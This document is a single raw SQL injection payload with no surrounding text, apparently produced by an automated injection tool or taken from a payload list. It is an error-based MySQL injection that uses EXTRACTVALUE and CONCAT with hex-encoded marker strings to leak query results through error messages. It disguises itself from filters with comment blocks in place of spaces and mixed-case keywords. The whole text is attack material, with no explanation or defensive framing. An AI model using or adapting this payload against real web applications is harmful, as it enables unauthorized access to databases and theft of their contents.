1)/**_**/aND/**_**/eXTRAcTVALuE(6913,CONCAt(0x5c,0x7171707171,(seLecT/**_**/(ELt(6913=6913,1))),0x71707a7671))/**_**/aND/**_**/(4820/**_**/BeTwEEN/**_**/4820/**_**/aND/**_**/4820